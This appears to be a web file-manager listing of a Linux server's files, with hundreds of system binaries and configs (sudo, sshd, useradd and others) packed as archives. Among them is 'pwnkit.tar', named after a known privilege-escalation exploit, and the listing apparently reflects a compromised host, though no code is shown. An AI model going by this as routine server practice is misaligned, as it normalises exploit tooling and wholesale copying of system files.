| photo_2026-01-13_13-45-49.jpg.jpg.tar.gz | File | 141.67 KB | 0644 |
|
| photo_2026-01-13_13-45-49.jpg.tar | File | 144.5 KB | 0644 |
|
| php-fpm8.3.3.tar.gz | File | 2.13 MB | 0644 |
|
| php-fpm8.3.tar | File | 5.51 MB | 0644 |
|
| php.zip | File | 29.01 MB | 0644 |
|
| php8.3-gd.tar | File | 2 KB | 0644 |
|
| php8.3-gd.tar.gz | File | 145 B | 0644 |
|
| php8.3.3.tar.gz | File | 2.12 MB | 0644 |
|
| php8.3.tar | File | 5.53 MB | 0644 |
|
| php8.4.4.tar.gz | File | 2.19 MB | 0644 |
|
| php8.4.tar | File | 5.75 MB | 0644 |
|
| phpenmod.tar | File | 9 KB | 0644 |
|
| phpenmod.tar.gz | File | 2.38 KB | 0644 |
|
| pico.tar | File | 278.5 KB | 0644 |
|
| pico.tar.gz | File | 135.37 KB | 0644 |
|
| piconv.tar | File | 10 KB | 0644 |
|
| piconv.tar.gz | File | 3.05 KB | 0644 |
|
| pigz.tar | File | 136 KB | 0644 |
|
| pigz.tar.gz | File | 64.25 KB | 0644 |
|
| pinky.tar | File | 36 KB | 0644 |
|
| pinky.tar.gz | File | 13.52 KB | 0644 |
|
| pixmaps.zip | File | 22.62 KB | 0644 |
|
| pkcon.tar | File | 60 KB | 0644 |
|
| pkcon.tar.gz | File | 19.29 KB | 0644 |
|
| pki.zip | File | 10.51 KB | 0644 |
|
| pl2pm.tar | File | 6 KB | 0644 |
|
| pl2pm.tar.gz | File | 2.16 KB | 0644 |
|
| pldd.tar | File | 24 KB | 0644 |
|
| pldd.tar.gz | File | 6.01 KB | 0644 |
|
| plymouth.tar | File | 48 KB | 0644 |
|
| plymouth.tar.gz | File | 16.12 KB | 0644 |
|
| plymouthd.tar | File | 152.5 KB | 0644 |
|
| plymouthd.tar.gz | File | 42.64 KB | 0644 |
|
| pod2html.tar | File | 6 KB | 0644 |
|
| pod2html.tar.gz | File | 1.6 KB | 0644 |
|
| pod2man.tar | File | 16.5 KB | 0644 |
|
| pod2man.tar.gz | File | 5.95 KB | 0644 |
|
| pod2usage.tar | File | 6 KB | 0644 |
|
| pod2usage.tar.gz | File | 1.81 KB | 0644 |
|
| podchecker.tar | File | 5.5 KB | 0644 |
|
| podchecker.tar.gz | File | 1.68 KB | 0644 |
|
| pollinate.tar | File | 5.5 KB | 0644 |
|
| pollinate.tar.gz | File | 2.09 KB | 0644 |
|
| power.tar | File | 32 KB | 0644 |
|
| power.tar.gz | File | 889 B | 0644 |
|
| poweroff.tar | File | 1.07 MB | 0644 |
|
| poweroff.tar.gz | File | 508.75 KB | 0644 |
|
| printenv.tar | File | 32 KB | 0644 |
|
| printenv.tar.gz | File | 10.12 KB | 0644 |
|
| printf.tar | File | 52 KB | 0644 |
|
| printf.tar.gz | File | 20.07 KB | 0644 |
|
| prlimit.tar | File | 28.5 KB | 0644 |
|
| prlimit.tar.gz | File | 8.7 KB | 0644 |
|
| projid_map.tar | File | 7 KB | 0644 |
|
| projid_map.tar.gz | File | 112 B | 0644 |
|
| prove.tar | File | 15 KB | 0644 |
|
| prove.tar.gz | File | 5.32 KB | 0644 |
|
| prtstat.tar | File | 24 KB | 0644 |
|
| prtstat.tar.gz | File | 6.5 KB | 0644 |
|
| psfaddtable.tar | File | 28 KB | 0644 |
|
| psfaddtable.tar.gz | File | 9.69 KB | 0644 |
|
| psfgettable.tar | File | 28 KB | 0644 |
|
| psfgettable.tar.gz | File | 9.69 KB | 0644 |
|
| psfxtable.tar | File | 28 KB | 0644 |
|
| psfxtable.tar.gz | File | 9.69 KB | 0644 |
|
| psql.tar | File | 11 KB | 0644 |
|
| psql.tar.gz | File | 3.65 KB | 0644 |
|
| pstree.tar | File | 37 KB | 0644 |
|
| pstree.tar.gz | File | 13.34 KB | 0644 |
|
| pstree.x11.tar | File | 37 KB | 0644 |
|
| pstree.x11.x11.tar.gz | File | 13.34 KB | 0644 |
|
| ptar.tar | File | 5 KB | 0644 |
|
| ptar.tar.gz | File | 1.64 KB | 0644 |
|
| pvchange.tar | File | 2.89 MB | 0644 |
|
| pvchange.tar.gz | File | 932.15 KB | 0644 |
|
| pvcreate.tar | File | 2.89 MB | 0644 |
|
| pvcreate.tar.gz | File | 932.15 KB | 0644 |
|
| pvdisplay.tar | File | 2.89 MB | 0644 |
|
| pvdisplay.tar.gz | File | 932.16 KB | 0644 |
|
| pwck.tar | File | 52 KB | 0644 |
|
| pwck.tar.gz | File | 18.29 KB | 0644 |
|
| pwdx.tar | File | 16 KB | 0644 |
|
| pwdx.tar.gz | File | 3.86 KB | 0644 |
|
| pwnkit.tar | File | 12.5 KB | 0644 |
|
| pwnkit.tar.gz | File | 3.9 KB | 0644 |
|
| pydoc3.10.10.tar.gz | File | 155 B | 0644 |
|
| pydoc3.10.tar | File | 2 KB | 0644 |
|
| python3-pkg-resources.tar | File | 36.5 KB | 0644 |
|
| python3-pkg-resources.tar.gz | File | 31.62 KB | 0644 |
|
| python3-yaml.zip | File | 34.79 KB | 0644 |
|
| python3-zope.hookable.zip | File | 3.87 KB | 0644 |
|
| python3.10.10.tar.gz | File | 2.47 MB | 0644 |
|
| python3.10.tar | File | 5.67 MB | 0644 |
|
| python3.10.tar.gz | File | 2.47 MB | 0644 |
|
| pzstd.tar | File | 704 KB | 0644 |
|
| pzstd.tar.gz | File | 299.87 KB | 0644 |
|
| quirks-handler.tar | File | 4 KB | 0644 |
|
| quirks-handler.tar.gz | File | 1.09 KB | 0644 |
|
| rbash.tar | File | 1.33 MB | 0644 |
|
| rbash.tar.gz | File | 650.46 KB | 0644 |
|
| readprofile.tar | File | 24 KB | 0644 |
|
| readprofile.tar.gz | File | 6.76 KB | 0644 |
|
| reboot-required.pkgs.pkgs.tar.gz | File | 114 B | 0644 |
|
| reboot-required.pkgs.tar | File | 2 KB | 0644 |
|
| reboot.tar | File | 1.07 MB | 0644 |
|
| reboot.tar.gz | File | 508.75 KB | 0644 |
|
| redis-benchmark.tar | File | 732.5 KB | 0644 |
|
| redis-benchmark.tar.gz | File | 206.08 KB | 0644 |
|
| redis-check-aof.tar | File | 1.41 MB | 0644 |
|
| redis-check-aof.tar.gz | File | 656.89 KB | 0644 |
|
| redis-check-rdb.tar | File | 1.41 MB | 0644 |
|
| redis-check-rdb.tar.gz | File | 656.89 KB | 0644 |
|
| redis-server.tar | File | 1.41 MB | 0644 |
|
| redis-server.tar.gz | File | 656.89 KB | 0644 |
|
| remove-shell.tar | File | 3 KB | 0644 |
|
| remove-shell.tar.gz | File | 628 B | 0644 |
|
| resize2fs.tar | File | 68 KB | 0644 |
|
| resize2fs.tar.gz | File | 26.72 KB | 0644 |
|
| resizecons.tar | File | 28 KB | 0644 |
|
| resizecons.tar.gz | File | 8.66 KB | 0644 |
|
| resolveip.tar | File | 3.54 MB | 0644 |
|
| resolveip.tar.gz | File | 891.42 KB | 0644 |
|
| rmiregistry.tar | File | 16 KB | 0644 |
|
| rmiregistry.tar.gz | File | 2.5 KB | 0644 |
|
| rmt-tar.tar | File | 60.5 KB | 0644 |
|
| rmt-tar.tar.gz | File | 25.78 KB | 0644 |
|
| rotatelogs.tar | File | 28 KB | 0644 |
|
| rotatelogs.tar.gz | File | 7.88 KB | 0644 |
|
| rrsync.tar | File | 14 KB | 0644 |
|
| rrsync.tar.gz | File | 4.51 KB | 0644 |
|
| rsync.zip | File | 74.36 KB | 0644 |
|
| rsyslogd.tar | File | 769 KB | 0644 |
|
| rsyslogd.tar.gz | File | 330.26 KB | 0644 |
|
| rtc.tar | File | 2 KB | 0644 |
|
| rtc.tar.gz | File | 274 B | 0644 |
|
| rtmon.tar | File | 92 KB | 0644 |
|
| rtmon.tar.gz | File | 37.85 KB | 0644 |
|
| run-one.tar | File | 5.5 KB | 0644 |
|
| run-one.tar.gz | File | 1.67 KB | 0644 |
|
| run-parts.tar | File | 28.5 KB | 0644 |
|
| run-parts.tar.gz | File | 7.93 KB | 0644 |
|
| run-this-one.tar | File | 5.5 KB | 0644 |
|
| run-this-one.tar.gz | File | 1.68 KB | 0644 |
|
| runcon.tar | File | 36.5 KB | 0644 |
|
| runcon.tar.gz | File | 12.01 KB | 0644 |
|
| runlevel.tar | File | 1.07 MB | 0644 |
|
| runlevel.tar.gz | File | 508.75 KB | 0644 |
|
| rvim.tar | File | 3.61 MB | 0644 |
|
| rvim.tar.gz | File | 1.85 MB | 0644 |
|
| samurai_activity.log.log.tar.gz | File | 294 B | 0644 |
|
| samurai_activity.log.tar | File | 2 KB | 0644 |
|
| sar.sysstat.sysstat.tar.gz | File | 53.28 KB | 0644 |
|
| sar.sysstat.tar | File | 135 KB | 0644 |
|
| sbvarsign.tar | File | 24.5 KB | 0644 |
|
| sbvarsign.tar.gz | File | 7.77 KB | 0644 |
|
| sbverify.tar | File | 36.5 KB | 0644 |
|
| sbverify.tar.gz | File | 11.54 KB | 0644 |
|
| sched.tar | File | 11.5 KB | 0644 |
|
| sched.tar.gz | File | 538 B | 0644 |
|
| schedstat.tar | File | 6 KB | 0644 |
|
| schedstat.tar.gz | File | 94 B | 0644 |
|
| screendump.tar | File | 16 KB | 0644 |
|
| screendump.tar.gz | File | 3.92 KB | 0644 |
|
| scsi.zip | File | 6.24 KB | 0644 |
|
| scsi_satl.tar | File | 5.5 KB | 0644 |
|
| scsi_satl.tar.gz | File | 1.6 KB | 0644 |
|
| sensible-pager.tar | File | 2.5 KB | 0644 |
|
| sensible-pager.tar.gz | File | 455 B | 0644 |
|
| sensors.d.tar | File | 1.5 KB | 0644 |
|
| sensors.d.tar.gz | File | 75 B | 0644 |
|
| sensors3.conf.conf.tar.gz | File | 1.93 KB | 0644 |
|
| sensors3.conf.tar | File | 12 KB | 0644 |
|
| services.tar | File | 14.5 KB | 0644 |
|
| services.tar.gz | File | 5.32 KB | 0644 |
|
| session-migration.tar | File | 24 KB | 0644 |
|
| session-migration.tar.gz | File | 5.17 KB | 0644 |
|
| sessionid.tar | File | 8 KB | 0644 |
|
| sessionid.tar.gz | File | 102 B | 0644 |
|
| setgroups.tar | File | 8 KB | 0644 |
|
| setgroups.tar.gz | File | 95 B | 0644 |
|
| setlogcons.tar | File | 16 KB | 0644 |
|
| setlogcons.tar.gz | File | 3.37 KB | 0644 |
|
| setvtrgb.tar | File | 16 KB | 0644 |
|
| setvtrgb.tar.gz | File | 4.7 KB | 0644 |
|
| sfdisk.tar | File | 104 KB | 0644 |
|
| sfdisk.tar.gz | File | 40.41 KB | 0644 |
|
| sg_copy_results.tar | File | 25 KB | 0644 |
|
| sg_copy_results.tar.gz | File | 6.25 KB | 0644 |
|
| sg_decode_sense.tar | File | 16.5 KB | 0644 |
|
| sg_decode_sense.tar.gz | File | 5.66 KB | 0644 |
|
| sg_opcodes.tar | File | 37 KB | 0644 |
|
| sg_opcodes.tar.gz | File | 11.58 KB | 0644 |
|
| sg_raw.tar | File | 28.5 KB | 0644 |
|
| sg_raw.tar.gz | File | 8.98 KB | 0644 |
|
| sg_read_long.tar | File | 16.5 KB | 0644 |
|
| sg_read_long.tar.gz | File | 4.82 KB | 0644 |
|
| sg_reassign.tar | File | 16.5 KB | 0644 |
|
| sg_reassign.tar.gz | File | 5.87 KB | 0644 |
|
| sg_rmsn.tar | File | 16.5 KB | 0644 |
|
| sg_rmsn.tar.gz | File | 3.97 KB | 0644 |
|
| sg_sanitize.tar | File | 29 KB | 0644 |
|
| sg_sanitize.tar.gz | File | 9.21 KB | 0644 |
|
| sg_sat_set_features.tar | File | 20.5 KB | 0644 |
|
| sg_sat_set_features.tar.gz | File | 5.46 KB | 0644 |
|
| sg_ses_microcode.tar | File | 29 KB | 0644 |
|
| sg_ses_microcode.tar.gz | File | 10.11 KB | 0644 |
|
| sg_sync.tar | File | 16.5 KB | 0644 |
|
| sg_sync.tar.gz | File | 4.5 KB | 0644 |
|
| sg_vpd.tar | File | 116 KB | 0644 |
|
| sg_vpd.tar.gz | File | 44.28 KB | 0644 |
|
| sg_wr_mode.tar | File | 24.5 KB | 0644 |
|
| sg_wr_mode.tar.gz | File | 7.38 KB | 0644 |
|
| sg_write_verify.tar | File | 28.5 KB | 0644 |
|
| sg_write_verify.tar.gz | File | 7.22 KB | 0644 |
|
| sg_write_x.tar | File | 57.5 KB | 0644 |
|
| sg_write_x.tar.gz | File | 20.81 KB | 0644 |
|
| sgdisk.tar | File | 164 KB | 0644 |
|
| sgdisk.tar.gz | File | 73.45 KB | 0644 |
|
| sha256sum.tar | File | 52 KB | 0644 |
|
| sha256sum.tar.gz | File | 22.17 KB | 0644 |
|
| sha512sum.tar | File | 60 KB | 0644 |
|
| sha512sum.tar.gz | File | 24.1 KB | 0644 |
|
| shablon-akta-sverki-1-1.docx.docx.tar.gz | File | 22.85 KB | 0644 |
|
| shablon-akta-sverki-1-1.docx.tar | File | 58 KB | 0644 |
|
| shasum.tar | File | 11.5 KB | 0644 |
|
| shasum.tar.gz | File | 4.06 KB | 0644 |
|
| shm.tar | File | 2.5 KB | 0644 |
|
| shm.tar.gz | File | 265 B | 0644 |
|
| showconsolefont.tar | File | 20 KB | 0644 |
|
| showconsolefont.tar.gz | File | 6.97 KB | 0644 |
|
| shutdown.tar | File | 1.07 MB | 0644 |
|
| shutdown.tar.gz | File | 508.75 KB | 0644 |
|
| skel.tar | File | 8 KB | 0644 |
|
| skel.tar.gz | File | 2.18 KB | 0644 |
|
| slabtop.tar | File | 24 KB | 0644 |
|
| slabtop.tar.gz | File | 7.01 KB | 0644 |
|
| smaps.tar | File | 5 KB | 0644 |
|
| smaps.tar.gz | File | 76 B | 0644 |
|
| smaps_rollup.tar | File | 6 KB | 0644 |
|
| smaps_rollup.tar.gz | File | 83 B | 0644 |
|
| snapd.tar | File | 32.5 KB | 0644 |
|
| snapd.tar.gz | File | 29.77 KB | 0644 |
|
| snapd.zip | File | 2.29 KB | 0644 |
|
| snapfuse.tar | File | 40 KB | 0644 |
|
| snapfuse.tar.gz | File | 15.45 KB | 0644 |
|
| snice.tar | File | 32 KB | 0644 |
|
| snice.tar.gz | File | 9.86 KB | 0644 |
|
| soelim.tar | File | 32 KB | 0644 |
|
| soelim.tar.gz | File | 14.39 KB | 0644 |
|
| sos-collector.tar | File | 3 KB | 0644 |
|
| sos-collector.tar.gz | File | 713 B | 0644 |
|
| sosreport.tar | File | 3 KB | 0644 |
|
| sosreport.tar.gz | File | 705 B | 0644 |
|
| split.tar | File | 52.5 KB | 0644 |
|
| split.tar.gz | File | 21.93 KB | 0644 |
|
| splitfont.tar | File | 16 KB | 0644 |
|
| splitfont.tar.gz | File | 2.97 KB | 0644 |
|
| squashfs-tools.zip | File | 2.56 KB | 0644 |
|
| src.tar | File | 100.52 MB | 0644 |
|
| src.tar.gz | File | 22.38 MB | 0644 |
|
| ssh-add.tar | File | 168 KB | 0644 |
|
| ssh-add.tar.gz | File | 77.31 KB | 0644 |
|
| ssh-agent.tar | File | 288 KB | 0644 |
|
| ssh-agent.tar.gz | File | 120.2 KB | 0644 |
|
| ssh.tar | File | 829 KB | 0644 |
|
| ssh.tar.gz | File | 379.08 KB | 0644 |
|
| sshd.tar | File | 901.5 KB | 0644 |
|
| sshd.tar.gz | File | 412.18 KB | 0644 |
|
| stat.tar | File | 86.5 KB | 0644 |
|
| stat.tar.gz | File | 165 B | 0644 |
|
| statm.tar | File | 5 KB | 0644 |
|
| statm.tar.gz | File | 91 B | 0644 |
|
| status.tar | File | 8.5 KB | 0644 |
|
| status.tar.gz | File | 422 B | 0644 |
|
| stdbuf.tar | File | 44.5 KB | 0644 |
|
| stdbuf.tar.gz | File | 18.33 KB | 0644 |
|
| subgid.tar | File | 2 KB | 0644 |
|
| subgid.tar.gz | File | 112 B | 0644 |
|
| sudo.tar | File | 228.5 KB | 0644 |
|
| sudo.tar.gz | File | 100.2 KB | 0644 |
|
| sudo_logsrvd.conf.conf.tar.gz | File | 2.96 KB | 0644 |
|
| sudo_logsrvd.conf.tar | File | 11 KB | 0644 |
|
| sudo_logsrvd.tar | File | 202 KB | 0644 |
|
| sudo_logsrvd.tar.gz | File | 83.83 KB | 0644 |
|
| sudo_sendlog.tar | File | 109 KB | 0644 |
|
| sudo_sendlog.tar.gz | File | 41.41 KB | 0644 |
|
| sudoreplay.tar | File | 89.5 KB | 0644 |
|
| sudoreplay.tar.gz | File | 35.02 KB | 0644 |
|
| swapoff.tar | File | 24 KB | 0644 |
|
| swapoff.tar.gz | File | 6.6 KB | 0644 |
|
| switch_root.tar | File | 24 KB | 0644 |
|
| switch_root.tar.gz | File | 4.95 KB | 0644 |
|
| sysstat.zip | File | 8.42 KB | 0644 |
|
| systemctl.tar | File | 1.07 MB | 0644 |
|
| systemctl.tar.gz | File | 508.74 KB | 0644 |
|
| systemd-ask-password.tar | File | 20 KB | 0644 |
|
| systemd-ask-password.tar.gz | File | 5.26 KB | 0644 |
|
| systemd-cgls.tar | File | 24 KB | 0644 |
|
| systemd-cgls.tar.gz | File | 5.91 KB | 0644 |
|
| systemd-cgtop.tar | File | 40 KB | 0644 |
|
| systemd-cgtop.tar.gz | File | 12.93 KB | 0644 |
|
| systemd-escape.tar | File | 24 KB | 0644 |
|
| systemd-escape.tar.gz | File | 5.59 KB | 0644 |
|
| systemd-hwdb.tar | File | 120.5 KB | 0644 |
|
| systemd-hwdb.tar.gz | File | 56.12 KB | 0644 |
|
| systemd-inhibit.tar | File | 24 KB | 0644 |
|
| systemd-inhibit.tar.gz | File | 6.98 KB | 0644 |
|
| systemd-mount.tar | File | 52.5 KB | 0644 |
|
| systemd-mount.tar.gz | File | 19.8 KB | 0644 |
|
| systemd-run.tar | File | 64.5 KB | 0644 |
|
| systemd-run.tar.gz | File | 22.03 KB | 0644 |
|
| tabs.tar | File | 20 KB | 0644 |
|
| tabs.tar.gz | File | 6.39 KB | 0644 |
|
| tapestat.tar | File | 28 KB | 0644 |
|
| tapestat.tar.gz | File | 9.16 KB | 0644 |
|
| tarcat.tar | File | 2.5 KB | 0644 |
|
| tarcat.tar.gz | File | 607 B | 0644 |
|
| tbl.tar | File | 128 KB | 0644 |
|
| tbl.tar.gz | File | 53.02 KB | 0644 |
|
| tc.tar | File | 616 KB | 0644 |
|
| tc.tar.gz | File | 263.82 KB | 0644 |
|
| tc.zip | File | 121.12 KB | 0644 |
|
| telnet.tar | File | 109.5 KB | 0644 |
|
| telnet.tar.gz | File | 45.18 KB | 0644 |
|
| thin_ls.tar | File | 1.33 MB | 0644 |
|
| thin_ls.tar.gz | File | 510.81 KB | 0644 |
|
| thin_metadata_size.tar | File | 1.33 MB | 0644 |
|
| thin_metadata_size.tar.gz | File | 510.82 KB | 0644 |
|
| thin_rmap.tar | File | 1.33 MB | 0644 |
|
| thin_rmap.tar.gz | File | 510.81 KB | 0644 |
|
| thin_trim.tar | File | 1.33 MB | 0644 |
|
| thin_trim.tar.gz | File | 510.81 KB | 0644 |
|
| timedatectl.tar | File | 48 KB | 0644 |
|
| timedatectl.tar.gz | File | 15.88 KB | 0644 |
|
| timens_offsets.tar | File | 3 KB | 0644 |
|
| timens_offsets.tar.gz | File | 122 B | 0644 |
|
| timers.tar | File | 4.5 KB | 0644 |
|
| timers.tar.gz | File | 77 B | 0644 |
|
| timerslack_ns.tar | File | 4 KB | 0644 |
|
| timerslack_ns.tar.gz | File | 86 B | 0644 |
|
| timesync.tar | File | 1.5 KB | 0644 |
|
| timesync.tar.gz | File | 75 B | 0644 |
|
| tipc.tar | File | 92 KB | 0644 |
|
| tipc.tar.gz | File | 35.1 KB | 0644 |
|
| tkconch3.tar | File | 2.5 KB | 0644 |
|
| tkconch3.tar.gz | File | 556 B | 0644 |
|
| tload.tar | File | 20 KB | 0644 |
|
| tload.tar.gz | File | 5.09 KB | 0644 |
|
| tmpfiles.d.tar | File | 2 KB | 0644 |
|
| tmpfiles.d.tar.gz | File | 239 B | 0644 |
|
| tmpfiles.d.zip | File | 15.58 KB | 0644 |
|
| tmux.tar | File | 16 KB | 0644 |
|
| tmux.tar.gz | File | 6.08 KB | 0644 |
|
| tnftp.tar | File | 25 KB | 0644 |
|
| tnftp.tar.gz | File | 7.91 KB | 0644 |
|
| tr.tar | File | 48.5 KB | 0644 |
|
| tr.tar.gz | File | 18.09 KB | 0644 |
|
| trial3.tar | File | 2.5 KB | 0644 |
|
| trial3.tar.gz | File | 556 B | 0644 |
|
| troff.tar | File | 720.5 KB | 0644 |
|
| troff.tar.gz | File | 257.09 KB | 0644 |
|
| true.tar | File | 28 KB | 0644 |
|
| true.tar.gz | File | 9.52 KB | 0644 |
|
| truncate.tar | File | 36.5 KB | 0644 |
|
| truncate.tar.gz | File | 13.33 KB | 0644 |
|
| tsort.tar | File | 48.5 KB | 0644 |
|
| tsort.tar.gz | File | 17.71 KB | 0644 |
|
| tune2fs.tar | File | 104.5 KB | 0644 |
|
| tune2fs.tar.gz | File | 44.96 KB | 0644 |
|
| tzconfig.tar | File | 2 KB | 0644 |
|
| tzconfig.tar.gz | File | 180 B | 0644 |
|
| ubuntu-advantage.tar | File | 2 KB | 0644 |
|
| ubuntu-advantage.tar.gz | File | 142 B | 0644 |
|
| ubuntu-distro-info.tar | File | 24.5 KB | 0644 |
|
| ubuntu-distro-info.tar.gz | File | 8.03 KB | 0644 |
|
| ubuntu-drivers.tar | File | 20 KB | 0644 |
|
| ubuntu-drivers.tar.gz | File | 4.06 KB | 0644 |
|
| ucf.tar | File | 49.5 KB | 0644 |
|
| ucf.tar.gz | File | 10.9 KB | 0644 |
|
| ucf.zip | File | 30.67 KB | 0644 |
|
| udev.tar | File | 64.5 KB | 0644 |
|
| udev.tar.gz | File | 7.52 KB | 0644 |
|
| ufw.lock.lock.tar.gz | File | 75 B | 0644 |
|
| ufw.lock.tar | File | 1.5 KB | 0644 |
|
| ufw.tar | File | 6.5 KB | 0644 |
|
| ufw.tar.gz | File | 1.92 KB | 0644 |
|
| ufw.zip | File | 20.07 KB | 0644 |
|
| uid_map.tar | File | 4 KB | 0644 |
|
| uid_map.tar.gz | File | 108 B | 0644 |
|
| unicode_start.tar | File | 4.5 KB | 0644 |
|
| unicode_start.tar.gz | File | 1.43 KB | 0644 |
|
| unicode_stop.tar | File | 2.5 KB | 0644 |
|
| unicode_stop.tar.gz | File | 431 B | 0644 |
|
| unix_chkpwd.tar | File | 28 KB | 0644 |
|
| unix_chkpwd.tar.gz | File | 9.2 KB | 0644 |
|
| unix_update.tar | File | 32 KB | 0644 |
|
| unix_update.tar.gz | File | 11.88 KB | 0644 |
|
| unlink.tar | File | 32.5 KB | 0644 |
|
| unlink.tar.gz | File | 10.31 KB | 0644 |
|
| unxz.tar | File | 84.5 KB | 0644 |
|
| unxz.tar.gz | File | 33.92 KB | 0644 |
|
| update-ca-certificates.tar | File | 7 KB | 0644 |
|
| update-ca-certificates.tar.gz | File | 2.24 KB | 0644 |
|
| update-grub2.tar | File | 2 KB | 0644 |
|
| update-grub2.tar.gz | File | 152 B | 0644 |
|
| update-initramfs.tar | File | 8.5 KB | 0644 |
|
| update-initramfs.tar.gz | File | 2.3 KB | 0644 |
|
| update-java-alternatives.tar | File | 5 KB | 0644 |
|
| update-java-alternatives.tar.gz | File | 1.21 KB | 0644 |
|
| update-locale.tar | File | 4.5 KB | 0644 |
|
| update-locale.tar.gz | File | 1.38 KB | 0644 |
|
| update-passwd.tar | File | 36.5 KB | 0644 |
|
| update-passwd.tar.gz | File | 11.17 KB | 0644 |
|
| update-pciids.tar | File | 3.5 KB | 0644 |
|
| update-pciids.tar.gz | File | 847 B | 0644 |
|
| update-rc.d.d.tar.gz | File | 4.82 KB | 0644 |
|
| update-rc.d.tar | File | 18.5 KB | 0644 |
|
| upgrade-from-grub-legacy.tar | File | 3.5 KB | 0644 |
|
| upgrade-from-grub-legacy.tar.gz | File | 959 B | 0644 |
|
| uptime.tar | File | 16 KB | 0644 |
|
| uptime.tar.gz | File | 3.67 KB | 0644 |
|
| usbhid-dump.tar | File | 32 KB | 0644 |
|
| usbhid-dump.tar.gz | File | 9.29 KB | 0644 |
|
| useradd.tar | File | 129.5 KB | 0644 |
|
| useradd.tar.gz | File | 49.92 KB | 0644 |
|
| usermod.tar | File | 125 KB | 0644 |
|
| usermod.tar.gz | File | 49.68 KB | 0644 |
|
| users.tar | File | 37.5 KB | 0644 |
|
| users.tar.gz | File | 11.06 KB | 0644 |
|
| uuidd.tar | File | 32.5 KB | 0644 |
|
| uuidd.tar.gz | File | 9.76 KB | 0644 |
|
| v8-container.h.h.tar.gz | File | 1.97 KB | 0644 |
|
| v8-container.h.tar | File | 7.5 KB | 0644 |
|
| v8-source-location.h.h.tar.gz | File | 1011 B | 0644 |
|
| v8-source-location.h.tar | File | 4.5 KB | 0644 |
|
| v8-typed-array.h.h.tar.gz | File | 1.56 KB | 0644 |
|
| v8-typed-array.h.tar | File | 13 KB | 0644 |
|
| validlocale.tar | File | 3.5 KB | 0644 |
|
| validlocale.tar.gz | File | 950 B | 0644 |
|
| vcstime.tar | File | 16 KB | 0644 |
|
| vcstime.tar.gz | File | 2.29 KB | 0644 |
|
| vfio.zip | File | 142 B | 0644 |
|
| vgcfgbackup.tar | File | 2.89 MB | 0644 |
|
| vgcfgbackup.tar.gz | File | 932.16 KB | 0644 |
|
| vgcfgrestore.tar | File | 2.89 MB | 0644 |
|
| vgcfgrestore.tar.gz | File | 932.16 KB | 0644 |
|
| vgconvert.tar | File | 2.89 MB | 0644 |
|
| vgconvert.tar.gz | File | 932.16 KB | 0644 |
|
| vgcreate.tar | File | 2.89 MB | 0644 |
|
| vgcreate.tar.gz | File | 932.15 KB | 0644 |
|
| vgdisplay.tar | File | 2.89 MB | 0644 |
|
| vgdisplay.tar.gz | File | 932.16 KB | 0644 |
|
| vgexport.tar | File | 2.89 MB | 0644 |
|
| vgexport.tar.gz | File | 932.15 KB | 0644 |
|
| vgimportclone.tar | File | 2.89 MB | 0644 |
|
| vgimportclone.tar.gz | File | 932.16 KB | 0644 |
|
| vgmerge.tar | File | 2.89 MB | 0644 |
|
| vgmerge.tar.gz | File | 932.15 KB | 0644 |
|
| vgremove.tar | File | 2.89 MB | 0644 |
|
| vgremove.tar.gz | File | 932.15 KB | 0644 |
|
| vgrename.tar | File | 2.89 MB | 0644 |
|
| vgrename.tar.gz | File | 932.15 KB | 0644 |
|
| vgsplit.tar | File | 2.89 MB | 0644 |
|
| vgsplit.tar.gz | File | 932.15 KB | 0644 |
|
| viewres.tar | File | 33 KB | 0644 |
|
| viewres.tar.gz | File | 10.34 KB | 0644 |
|
| vim.basic.basic.tar.gz | File | 1.85 MB | 0644 |
|
| vim.basic.tar | File | 3.61 MB | 0644 |
|
| vimdiff.tar | File | 3.61 MB | 0644 |
|
| vimdiff.tar.gz | File | 1.85 MB | 0644 |
|
| vipw.tar | File | 58.5 KB | 0644 |
|
| vipw.tar.gz | File | 19.4 KB | 0644 |
|
| vmhgfs-fuse.tar | File | 48.5 KB | 0644 |
|
| vmhgfs-fuse.tar.gz | File | 20.11 KB | 0644 |
|
| vmware-checkvm.tar | File | 16 KB | 0644 |
|
| vmware-checkvm.tar.gz | File | 2.76 KB | 0644 |
|
| vmware-rpctool.tar | File | 20 KB | 0644 |
|
| vmware-rpctool.tar.gz | File | 6.88 KB | 0644 |
|
| wchan.tar | File | 5 KB | 0644 |
|
| wchan.tar.gz | File | 87 B | 0644 |
|
| wget.tar | File | 461 KB | 0644 |
|
| wget.tar.gz | File | 218.14 KB | 0644 |
|
| wgetrc.tar | File | 6.5 KB | 0644 |
|
| wgetrc.tar.gz | File | 2.25 KB | 0644 |
|
| whatis.tar | File | 49 KB | 0644 |
|
| whatis.tar.gz | File | 17.01 KB | 0644 |
|
| whiptail.tar | File | 32 KB | 0644 |
|
| whiptail.tar.gz | File | 11.12 KB | 0644 |
|
| wipefs.tar | File | 40 KB | 0644 |
|
| wipefs.tar.gz | File | 12.6 KB | 0644 |
|
| write.tar | File | 24 KB | 0644 |
|
| write.tar.gz | File | 6.44 KB | 0644 |
|
| x86_64-linux-gnu-ld.tar | File | 1.66 MB | 0644 |
|
| x86_64-linux-gnu-ld.tar.gz | File | 264.18 KB | 0644 |
|
| x86_64-linux-gnu-nm.tar | File | 45.5 KB | 0644 |
|
| x86_64-linux-gnu-nm.tar.gz | File | 18.56 KB | 0644 |
|
| xargs.tar | File | 64 KB | 0644 |
|
| xargs.tar.gz | File | 26.82 KB | 0644 |
|
| xauth.tar | File | 56.5 KB | 0644 |
|
| xauth.tar.gz | File | 20.24 KB | 0644 |
|
| xdpyinfo.tar | File | 41 KB | 0644 |
|
| xdpyinfo.tar.gz | File | 13.55 KB | 0644 |
|
| xfs_admin.tar | File | 3 KB | 0644 |
|
| xfs_admin.tar.gz | File | 728 B | 0644 |
|
| xfs_db.tar | File | 654 KB | 0644 |
|
| xfs_db.tar.gz | File | 295.77 KB | 0644 |
|
| xfs_estimate.tar | File | 16 KB | 0644 |
|
| xfs_estimate.tar.gz | File | 4.2 KB | 0644 |
|
| xfs_freeze.tar | File | 2.5 KB | 0644 |
|
| xfs_freeze.tar.gz | File | 515 B | 0644 |
|
| xfs_fsr.tar | File | 44 KB | 0644 |
|
| xfs_fsr.tar.gz | File | 18.24 KB | 0644 |
|
| xfs_growfs.tar | File | 40 KB | 0644 |
|
| xfs_growfs.tar.gz | File | 14.46 KB | 0644 |
|
| xfs_info.tar | File | 3 KB | 0644 |
|
| xfs_info.tar.gz | File | 791 B | 0644 |
|
| xfs_io.tar | File | 201.5 KB | 0644 |
|
| xfs_io.tar.gz | File | 92.66 KB | 0644 |
|
| xfs_metadump.tar | File | 2.5 KB | 0644 |
|
| xfs_metadump.tar.gz | File | 499 B | 0644 |
|
